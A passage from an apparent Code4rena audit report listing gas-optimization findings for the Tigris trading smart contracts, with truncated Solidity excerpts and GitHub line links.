https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L9

```
File: contracts/TradingExtension.sol

/// @audit minPos(), _closePosition(), _limitClose(), _checkGas(
10:   contract TradingExtension is Ownable{
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/TradingExtension.sol#L10

```
File: contracts/Trading.sol

/// @audit getVerifiedPrice(), getRef(), _setReferral(), validat
14:   interface ITradingExtension {

/// @audit burnFrom(), mintFor()
58:   interface IStable is IERC20 {

/// @audit initiateMarketOrder(), initiateCloseOrder(), addToPos
79:   contract Trading is MetaContext, ITrading {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L14

```
File: contracts/utils/MetaContext.sol

/// @audit setTrustedForwarder(), isTrustedForwarder()
6:    contract MetaContext is Ownable {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/MetaContext.sol#L6

```
File: contracts/utils/TradingLibrary.sol

/// @audit pnl(), liqPrice(), getLiqPrice(), verifyPrice()
21:   library TradingLibrary {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L21

[G-15] Use a more recent version of solidity

Use a solidity version of at least 0.8.2 to get simple compiler automatic inlining

Use a solidity version of at least 0.8.3 to get better struct packing and cheaper multiple storage reads

Use a solidity version of at least 0.8.4 to get custom errors, which are cheaper at deployment than `revert()/require()` strings

Use a solidity version of at least 0.8.10 to have external calls skip contract existence checks if the external call has a return value

There are 21 instances of this issue:

```
File: contracts/BondNFT.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L2

```
File: contracts/GovNFT.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L2

```
File: contracts/interfaces/IGovNFT.sol

3:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IGovNFT.sol#L3

```
File: contracts/interfaces/ILayerZeroEndpoint.sol

3:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ILayerZeroEndpoint.sol#L3

```
File: contracts/interfaces/ILayerZeroReceiver.sol

3:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ILayerZeroReceiver.sol#L3

```
File: contracts/interfaces/ILayerZeroUserApplicationConfig.sol

3:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ILayerZeroUserApplicationConfig.sol#L3

```
File: contracts/interfaces/IPairsContract.sol

3:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IPairsContract.sol#L3

```
File: contracts/interfaces/IPosition.sol

3:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IPosition.sol#L3

```
File: contracts/interfaces/IReferrals.sol

3:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IReferrals.sol#L3

```
File: contracts/interfaces/IStableVault.sol

3:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/IStableVault.sol#L3

```
File: contracts/interfaces/ITrading.sol

5:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/interfaces/ITrading.sol#L5

```
File: contracts/Lock.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L2

```
File: contracts/PairsContract.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L2

```
File: contracts/Position.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L2

```
File: contracts/Referrals.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol#L2

```
File: contracts/StableToken.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L2

```
File: contracts/StableVault.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L2

```
File: contracts/TradingExtension.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/TradingExtension.sol#L2

```
File: contracts/Trading.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L2

```
File: contracts/utils/MetaContext.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/MetaContext.sol#L2

```
File: contracts/utils/TradingLibrary.sol

2:    pragma solidity ^0.8.0;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L2

[G-16] Splitting `require()` statements that use `&&` saves gas

See this issue which describes the fact that there is a larger deployment gas cost, but with enough runtime calls, the change ends up being cheaper by **3 gas**

There are 3 instances of this issue:

```
File: contracts/PairsContract.sol

52:           require(_maxLeverage >= _minLeverage && _minLevera
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L52

```
File: contracts/Trading.sol

887:              require(_proxy.proxy == _msgSender() && _proxy
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L887

```
File: contracts/utils/TradingLibrary.sol

116                   require(
117                       _priceData.price < assetChainlinkPrice
118                       _priceData.price > assetChainlinkPrice
119:                  );
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L116-L119

[G-17] Don't compare boolean expressions to boolean literals

```
if (<x> == true) => if (<x>), if (<x> == false) => if (!<x>)
```

There are 2 instances of this issue:

```
File: contracts/BondNFT.sol

238:          bond.expired = bond.expireEpoch <= epoch[bond.asse

252:          return bond.expireEpoch <= epoch[bond.asset] ? tru
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol

#L238

[G-18] Ternary unnecessary

```
z = (x == y) ? true : false => z = (x == y)
```

There are 2 instances of this issue:

```
File: contracts/BondNFT.sol

238:            bond.expired = bond.expireEpoch <= epoch[bond.asse

252:            return bond.expireEpoch <= epoch[bond.asset] ? tru
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L238

[G-19] `require()` or `revert()` statements that check input arguments should be at the top of the function

Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting a Gcoldsload (**2100 gas***) in a function that may ultimately revert in the unhappy case.

There is 1 instance of this issue:

```
File: contracts/GovNFT.sol

/// @audit expensive op on line 65
66:             require(tokenId <= 10000, "BadID");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L66

[G-20] Use custom errors rather than `revert()` / `require()` strings to save gas

Custom errors are available from solidity version 0.8.4. Custom errors save ~50 gas each time they're hit by avoiding having to allocate and store the revert string. Not defining the strings also save deployment gas

There are 2 instances of this issue:

```
File: contracts/GovNFT.sol

153           require(
154               msg.value >= messageFee,
155               "Must send enough value to cover messageFee"
156:          );
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L153-L156

```
File: contracts/utils/TradingLibrary.sol

116                   require(
117                       _priceData.price < assetChainlinkPrice
118                       _priceData.price > assetChainlinkPrice
119:                  );
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L116-L119

[G-21] Functions guaranteed to revert when called by normal users can be marked `payable`

If a function modifier such as `onlyOwner` is used, the function will revert if a normal user tries to pay the function. Marking the function as `payable` will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are

`CALLVALUE` (2), `DUP1` (3), `ISZERO` (3), `PUSH2` (3), `JUMPI` (10), `PUSH1` (3), `DUP1` (3), `REVERT` (0), `JUMPDEST` (1), `POP` (2), which costs an average of about **21 gas per call** to the function, in addition to the extra deployment cost

There are 69 instances of this issue:

```
File: contracts/BondNFT.sol

57          function createLock(
58              address _asset,
59              uint _amount,
60              uint _period,
61              address _owner
62:         ) external onlyManager() returns(uint id) {

97          function extendLock(
98              uint _id,
99              address _asset,
100             uint _amount,
101             uint _period,
102             address _sender
103:        ) external onlyManager() {

137         function release(
138             uint _id,
139             address _releaser
140:        ) external onlyManager() returns(uint amount, uint loc

168         function claim(
169             uint _id,
170             address _claimer
171:        ) public onlyManager() returns(uint amount, address ti

196         function claimDebt(
197             address _user,
198             address _tigAsset
199:        ) public onlyManager() returns(uint amount) {

349:        function addAsset(address _asset) external onlyOwner {

357:        function setAllowedAsset(address _asset, bool _bool) e

362:        function setBaseURI(string calldata _newBaseURI) exter
```

```
366         function setManager(
367             address _manager
368:        ) public onlyOwner() {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L57-L62

```
File: contracts/GovNFT.sol

46:         function setBaseURI(string calldata _newBaseURI) exter

104:        function mintMany(uint _amount) external onlyOwner {

110:        function mint() external onlyOwner {

114:        function setTrustedAddress(uint16 _chainId, address _c

236:        function setGas(uint _gas) external onlyOwner {

240:        function setEndpoint(ILayerZeroEndpoint _endpoint) ext

300:        function addAsset(address _asset) external onlyOwner {

307:        function setAllowedAsset(address _asset, bool _bool) e

311:        function setMaxBridge(uint256 _max) external onlyOwner
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L46

```
File: contracts/Lock.sol

127         function editAsset(
128             address _tigAsset,
129             bool _isAllowed
130:        ) external onlyOwner() {

138         function sendNFTs(
139             uint[] memory _ids
```

```
140:     ) external onlyOwner() {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L127-L130

```
File: contracts/PairsContract.sol

33:     function setAssetChainlinkFeed(uint256 _asset, address

48:     function addAsset(uint256 _asset, string memory _name,

73:     function updateAssetLeverage(uint256 _asset, uint256 _

92:     function setAssetBaseFundingRate(uint256 _asset, uint2

104:     function updateAssetFeeMultiplier(uint256 _asset, uint

115:     function pauseAsset(uint256 _asset, bool _isPaused) ex

125:     function setMaxBaseFundingRate(uint256 _maxBaseFunding

129:     function setProtocol(address _protocol) external onlyO

139:     function setMaxOi(uint256 _asset, address _tigAsset, u

154:     function modifyLongOi(uint256 _asset, address _tigAsse

174:     function modifyShortOi(uint256 _asset, address _tigAss
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L33

```
File: contracts/Position.sol

85:     function setBaseURI(string memory _newBaseURI) externa

99:     function updateFunding(uint256 _asset, address _tigAss

131     function mint(
```

```
132             MintTrade memory _mintTrade
133:        ) external onlyMinter {

168:        function executeLimitOrder(uint256 _id, uint256 _price

197:        function modifyMargin(uint256 _id, uint256 _newMargin,

209:        function addToPosition(uint256 _id, uint256 _newMargin

220:        function setAccInterest(uint256 _id) external onlyMinte

230:        function reducePosition(uint256 _id, uint256 _percent)

242:        function modifyTp(uint _id, uint _tpPrice) external on

252:        function modifySl(uint _id, uint _slPrice) external on

260:        function burn(uint _id) external onlyMinter {

310:        function setMinter(address _minter, bool _bool) externa
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L85

```
File: contracts/Referrals.sol

32:         function setReferred(address _referredTrader, bytes32 _

53:         function setProtocol(address _protocol) external onlyO

60          function initRefs(
61              address[] memory _codeOwners,
62              bytes32[] memory _ownedCodes,
63              address[] memory _referredA,
64              bytes32[] memory _referredTo
65:         ) external onlyOwner {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol#L32

```
File: contracts/StableToken.sol

13          function burnFrom(
14              address account,
15              uint256 amount
16          )
17              public
18              virtual
19:             onlyMinter()

24          function mintFor(
25              address account,
26              uint256 amount
27          )
28              public
29              virtual
30:             onlyMinter()

38          function setMinter(
39              address _address,
40              bool _status
41          )
42              public
43:             onlyOwner()
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L13-L19

```
File: contracts/StableVault.sol

78:         function listToken(address _token) external onlyOwner

89:         function delistToken(address _token) external onlyOwne
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L78

```
File: contracts/TradingExtension.sol
```

```
61        function _closePosition(
62            uint _id,
63            uint _price,
64            uint _percent
65:       ) external onlyProtocol returns (IPosition.Trade memor

126       function modifyShortOi(
127           uint _asset,
128           address _tigAsset,
129           bool _onOpen,
130           uint _size
131:      ) public onlyProtocol {

135       function modifyLongOi(
136           uint _asset,
137           address _tigAsset,
138           bool _onOpen,
139           uint _size
140:      ) public onlyProtocol {

144:      function setMaxGasPrice(uint _maxGasPrice) external on

190       function _setReferral(
191           bytes32 _referral,
192           address _trader
193:      ) external onlyProtocol {

222       function setValidSignatureTimer(
223           uint _validSignatureTimer
224       )
225           external
226:          onlyOwner

231:      function setChainlinkEnabled(bool _bool) external only

240:      function setNode(address _node, bool _bool) external o

249       function setAllowedMargin(
250           address _tigAsset,
251           bool _bool
252       )
253           external
254:          onlyOwner

264       function setMinPositionSize(
265           address _tigAsset,
```

```
266             uint _min
267         )
268             external
269:            onlyOwner

274:        function setPaused(bool _paused) external onlyOwner {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/TradingExtension.sol#L61-L65

```
File: contracts/Trading.sol

898         function setBlockDelay(
899             uint _blockDelay
900         )
901             external
902:            onlyOwner

912         function setAllowedVault(
913             address _stableVault,
914             bool _bool
915         )
916             external
917:            onlyOwner

926         function setMaxWinPercent(
927             uint _maxWinPercent
928         )
929             external
930:            onlyOwner

939:        function setLimitOrderPriceRange(uint _range) external

952:        function setFees(bool _open, uint _daoFees, uint _burn

975         function setTradingExtension(
976             address _ext
977:        ) external onlyOwner() {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#

L898-L902

```
File: contracts/utils/MetaContext.sol

9:         function setTrustedForwarder(address _forwarder, bool
```

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/MetaContext.sol#L9

[G-22] Don't use `_msgSender()` if not supporting EIP-2771

Use `msg.sender` if the code does not implement [EIP-2771 trusted forwarder] support

There are 30 instances of this issue:

```
File: contracts/BondNFT.sol

216:             IERC20(_tigAsset).transferFrom(_msgSender(), addre

285:                 _transfer(_msgSender(), _to, _ids[i]);
```

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L216

```
File: contracts/GovNFT.sol

65:             require(msg.sender == address(this) || _msgSender(

106:                 _mint(_msgSender(), counter);

111:             _mint(_msgSender(), counter);

132:                 require(_msgSender() == ownerOf(tokenId[i]), "

161:                 payable(_msgSender()),

174:             require(_msgSender() == address(endpoint), "!Endpo
```

```
247:                 _transfer(_msgSender(), _to, _ids[i]);
```

```
276:         address _msgsender = _msgSender();
```

```
289:         try IERC20(_tigAsset).transferFrom(_msgSender(), a
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L65

```
File: contracts/PairsContract.sol
```

```
190:         require(_msgSender() == address(protocol), "!Proto
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L190

```
File: contracts/Position.sol
```

```
315:         require(_isMinter[_msgSender()], "!Minter");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L315

```
File: contracts/Referrals.sol
```

```
22:          _referral[_hash] = _msgSender();
```

```
23:          emit ReferralCreated(_msgSender(), _hash);
```

```
81:          require(_msgSender() == address(protocol), "!Proto
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol

#L22

```
File: contracts/StableToken.sol

52:           require(isMinter[_msgSender()], "!Minter");
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L52

```
File: contracts/StableVault.sol

46:           IERC20(_token).transferFrom(_msgSender(), address(

48:               _msgSender(),

56:           ERC20Permit(_token).permit(_msgSender(), address(t

66:           IERC20Mintable(stable).burnFrom(_msgSender(), _amo

69:               _msgSender(),
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L46

```
File: contracts/Trading.sol

520:              emit LimitOrderExecuted(trade.asset, trade.dir

554:              emit PositionLiquidated(_id, _trade.trader, _m

584:          proxyApprovals[_msgSender()] = Proxy(

631:          emit PositionClosed(_id, _price, _percent, _toMint

722:                      _msgSender(),

798:                      _msgSender(),
```

```
885:           if (_trader != _msgSender()) {

887:               require(_proxy.proxy == _msgSender() && _proxy
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L520

Excluded Gas Optimization Findings

These findings are excluded from awards calculations because there are publicly-available automated tools that find them. The valid ones appear here for completeness

	Issue	Instances	Total Gas Saved
[G-23]	Using `calldata` instead of `memory` for read-only arguments in `external` functions saves gas	12	1440
[G-24]	State variables should be cached in stack variables rather than re-reading them from storage	20	1940
[G-25]	`<array>.length` should not be looked up in every loop of a `for` -loop	13	39
[G-26]	Using `bool` s for storage incurs overhead	16	273600
[G-27]	Using `> 0` costs more gas than `!= 0` when used on a `uint` in a `require()` statement	1	6
[G-28]	`++i` costs less gas than `i++` , especially when it's used in `for` -loops (`--i` / `i--` too)	21	105
[G-29]	Using `private` rather than `public` for constants, saves gas	3	-
[G-30]	Use custom errors rather than `revert()` / `require()` strings to save gas	64	-

Total: 150 instances over 8 issues with **277130 gas** saved

Gas totals use lower bounds of ranges and count two iterations of each `for` -loop. All values above are runtime, not deployment, values; deployment values are listed in the

individual issue descriptions. The table above as well as its gas numbers do not include any of the excluded findings.

[G-23] Using `calldata` instead of `memory` for read-only arguments in `external` functions saves gas

When a function with a `memory` array is called externally, the `abi.decode()` step has to use a for-loop to copy each index of the `calldata` to the `memory` index. **Each iteration of this for-loop costs at least 60 gas** (i.e. `60 * <mem_array>.length`). Using `calldata` directly, obliviates the need for such a loop in the contract code and runtime execution. Note that even if an interface defines a function as having `memory` arguments, it's still valid for implementation contracs to use `calldata` arguments instead.

If the array is passed to an `internal` function which passes the array to another internal function where the array is modified and therefore `memory` is used in the `external` call, it's still more gass-efficient to use `calldata` when the `external` function uses modifiers, since the modifiers may prevent the internal functions from being called. Structs have the same overhead as an array of length one

Note that I've also flagged instances where the function is `public` but can be marked as `external` since it's not called by the contract, and cases where a constructor is involved

There are 12 instances of this issue:

```
File: contracts/GovNFT.sol

/// @audit _destination - (valid but excluded finding)
/// @audit tokenId - (valid but excluded finding)
124       function crossChain(
125           uint16 _dstChainId,
126           bytes memory _destination,
127           address _to,
128:          uint256[] memory tokenId

/// @audit _srcAddress - (valid but excluded finding)
/// @audit _payload - (valid but excluded finding)
168       function lzReceive(
```

```
169           uint16 _srcChainId,
170           bytes memory _srcAddress,
171           uint64 _nonce,
172:          bytes memory _payload
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L124-L128

```
File: contracts/Lock.sol

/// @audit _ids - (valid but excluded finding)
138       function sendNFTs(
139           uint[] memory _ids
140:      ) external onlyOwner() {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L138-L140

```
File: contracts/PairsContract.sol

/// @audit _name - (valid but excluded finding)
48:       function addAsset(uint256 _asset, string memory _name,
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L48

```
File: contracts/Position.sol

/// @audit _newBaseURI - (valid but excluded finding)
85:       function setBaseURI(string memory _newBaseURI) externa

/// @audit _mintTrade - (valid but excluded finding)
131       function mint(
132           MintTrade memory _mintTrade
133:      ) external onlyMinter {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L85

```
File: contracts/Referrals.sol

/// @audit _codeOwners - (valid but excluded finding)
/// @audit _ownedCodes - (valid but excluded finding)
/// @audit _referredA - (valid but excluded finding)
/// @audit _referredTo - (valid but excluded finding)
60        function initRefs(
61            address[] memory _codeOwners,
62            bytes32[] memory _ownedCodes,
63            address[] memory _referredA,
64            bytes32[] memory _referredTo
65:       ) external onlyOwner {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Referrals.sol#L60-L65

[G-24] State variables should be cached in stack variables rather than re-reading them from storage

The instances below point to the second+ access of a state variable within a function. Caching of a state variable replaces each Gwarmaccess (**100 gas**) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.

There are 20 instances of this issue:

```
File: contracts/GovNFT.sol

/// @audit assets on line 54 - (valid but excluded finding)
54:               userPaid[to][assets[i]] += accRewardsPerNFT[as

/// @audit assets on line 68 - (valid but excluded finding)
68:               userPaid[to][assets[i]] += accRewardsPerNFT[as
```

```
/// @audit assets on line 79 - (valid but excluded finding)
79:                 userDebt[owner][assets[i]] += accRewardsPerNFT

/// @audit assets on line 79 - (valid but excluded finding)
/// @audit assets on line 80 - (valid but excluded finding)
80:                 userDebt[owner][assets[i]] -= userPaid[owner][

/// @audit assets on line 80 - (valid but excluded finding)
/// @audit assets on line 81 - (valid but excluded finding)
81:                 userPaid[owner][assets[i]] -= userPaid[owner][

/// @audit assets on line 96 - (valid but excluded finding)
96:                 userDebt[from][assets[i]] += accRewardsPerNFT[

/// @audit assets on line 96 - (valid but excluded finding)
/// @audit assets on line 97 - (valid but excluded finding)
97:                 userDebt[from][assets[i]] -= userPaid[from][as

/// @audit assets on line 97 - (valid but excluded finding)
/// @audit assets on line 98 - (valid but excluded finding)
98:                 userPaid[from][assets[i]] -= userPaid[from][as

/// @audit assets on line 98 - (valid but excluded finding)
/// @audit assets on line 99 - (valid but excluded finding)
99:                 userPaid[to][assets[i]] += accRewardsPerNFT[as
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L54

```
File: contracts/PairsContract.sol

/// @audit _idToAsset[_asset].minLeverage on line 81 - (valid bu
84:             require(_idToAsset[_asset].maxLeverage >= _idToAss
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L84

```
File: contracts/Position.sol
```

```
/// @audit _trades[_id].margin on line 232 - (valid but excluded
233:           initId[_id] = accInterestPerOi[_trades[_id].asset]
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L233

```
File: contracts/Trading.sol

/// @audit limitOrderPriceRange on line 496 - (valid but exclude
496:               if (_price > trade.price+trade.price*limitOrde

/// @audit maxWinPercent on line 625 - (valid but excluded findi
625:                   if (maxWinPercent > 0 && _toMint > _trade.

/// @audit maxWinPercent on line 625 - (valid but excluded findi
626:                       _toMint = _trade.margin*maxWinPercent/

/// @audit blockDelay on line 861 - (valid but excluded finding)
864:                   blockDelayPassed[_id].delay = block.number
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L496

[G-25] `<array>.length` should not be looked up in every loop of a `for`-loop

The overheads outlined below are *PER LOOP*, excluding the first loop

- storage arrays incur a Gwarmaccess (**100 gas**)
- memory arrays use `MLOAD` (**3 gas**)
- calldata arrays use `CALLDATALOAD` (**3 gas**)

Caching the length changes each of these to a `DUP<N>` (**3 gas**), and gets rid of the extra `DUP<N>` needed to store the stack offset

There are 13 instances of this issue:

```
File: contracts/BondNFT.sol

/// @audit (valid but excluded finding)
284:              for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
292:              for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
300:              for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
342:              for (uint i=0; i<_ids.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L284

```
File: contracts/GovNFT.sol

/// @audit (valid but excluded finding)
131:          for (uint i=0; i<tokenId.length; i++) {

/// @audit (valid but excluded finding)
200:          for (uint i=0; i<tokenId.length; i++) {

/// @audit (valid but excluded finding)
246:          for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
252:          for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
258:          for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
325:          for (uint i=0; i<_ids.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L131

```
File: contracts/Lock.sol

/// @audit (valid but excluded finding)
113:          for (uint i=0; i < assets.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L113

```
File: contracts/Position.sol

/// @audit (valid but excluded finding)
296:          for (uint i=0; i<_ids.length; i++) {

/// @audit (valid but excluded finding)
304:          for (uint i=0; i<_ids.length; i++) {
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Position.sol#L296

[G-26] Using `bool`s for storage incurs overhead

```
// Booleans are more expensive than uint256 or any type that
// word because each write operation emits an extra SLOAD to
// slot's contents, replace the bits taken up by the boolean
// back. This is the compiler's defense against contract upg
// pointer aliasing, and it cannot be disabled.
```

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/58f635312aa21f947cae5f8578638a85aa2519f5/contracts/security/ReentrancyGuard.sol#L23-L27 Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas) for the extra SLOAD, and to avoid Gsset (**20000 gas**) when changing from `false` to `true`, after having been `true` in the past

There are 16 instances of this issue:

```
File: contracts/BondNFT.sol

/// @audit (valid but excluded finding)
32:       mapping(address => bool) public allowedAsset;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L32

```
File: contracts/GovNFT.sol

/// @audit (valid but excluded finding)
22:       mapping(uint16 => mapping(address => bool)) public isT

/// @audit (valid but excluded finding)
265:      mapping(address => bool) private _allowedAsset;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L22

```
File: contracts/Lock.sol

/// @audit (valid but excluded finding)
18:       mapping(address => bool) public allowedAssets;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L18

```
File: contracts/PairsContract.sol

/// @audit (valid but excluded finding)
12:       mapping(uint256 => bool) public allowedAsset;
```

https:/github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L12

```
File: contracts/Position.sol

/// @audit (valid but excluded finding)
20:       mapping(address => bool) private _isMinter; // Trading

/// @audit (valid but excluded finding)
